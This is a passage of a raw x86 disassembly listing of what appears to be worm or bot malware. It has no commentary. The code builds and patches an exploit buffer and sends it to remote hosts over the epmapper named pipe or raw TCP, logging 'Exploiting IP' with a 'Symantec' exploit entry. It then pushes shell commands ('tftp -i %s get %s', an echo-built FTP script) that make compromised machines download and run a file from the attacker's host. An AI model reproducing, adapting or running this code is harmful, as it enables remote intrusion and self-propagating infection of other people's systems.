loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970


loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F


loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1


loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------


loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx


loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: ___:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173


loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax


loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]


loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax


loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------


loc_40DA8E:				; DATA XREF: ___:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax


loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------


loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi


loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx


loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3


loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: ___:00429008o
		test	byte_4DC068, 1
		jnz	short loc_40DB4C
		or	byte_4DC068, 1


loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: ___:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432960
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_432958
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DBD8
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE744
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBAC4
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C


loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBAC4


loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------


loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax


loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: ___:0040DFC6p
					; ___:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432960
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_432958
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DBD8
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h


loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB95C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		nop
		call	near ptr 26803E7h
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: ___:0040DFF5p
					; ___:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_429108
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset off_432874
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------


loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB


loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_432954
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432950


loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432488
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327EC
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_432800
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432840
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	near ptr 272077Bh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1


loc_40DFC2:				; CODE XREF: ___:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40DFD1:				; CODE XREF: ___:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_43243C
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2720000h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	short loc_40E077


loc_40E059:				; CODE XREF: ___:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_40E069:				; CODE XREF: ___:0040E005j
		push	dword ptr [ebp-4]
		call	near ptr 2660C52h
		nop
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: ___:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2660C52h
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40E0BA:				; CODE XREF: ___:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBAA4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CBA24
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA64
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------


loc_40E14C:				; CODE XREF: ___:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB9CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164


loc_40E161:				; CODE XREF: ___:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E164:				; CODE XREF: ___:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_43243C
		push	edi
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CBA3C
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: ___:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CBA3C
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1


loc_40E1BD:				; CODE XREF: ___:0040E162j
					; ___:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi


loc_40E1C4:				; CODE XREF: ___:0040E14Aj
		call	dword_4CBABC


loc_40E1CA:				; CODE XREF: ___:0040DF7Dj
					; ___:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------


loc_40E1D1:				; CODE XREF: ___:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBABC


loc_40E1DE:				; CODE XREF: ___:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi


loc_40E1F8:				; CODE XREF: ___:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		nop
		call	near ptr 26803E7h
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------


loc_40E21C:				; CODE XREF: ___:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h


loc_40E268:				; CODE XREF: ___:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]


loc_40E28A:				; CODE XREF: ___:0040E21Aj
		push	1
		pop	eax


loc_40E28D:				; CODE XREF: ___:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA64
		mov	[ebp+var_C], eax
		mov	ax, word_4332A8
		push	eax
		call	dword_4CBA24
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBAA4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB9CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CBA3C
		mov	edi, offset byte_429108
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB760
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		call	near ptr 26803E7h
		nop
		push	edi
		push	offset dword_42A2EC
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE


loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CBA3C
		push	ebx
		call	dword_4CBABC
		mov	al, 1


loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: ___:0040E946p
					; ___:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41C500
		mov	eax, dword_433434
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433438
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_433428
		push	eax
		call	sub_41C266
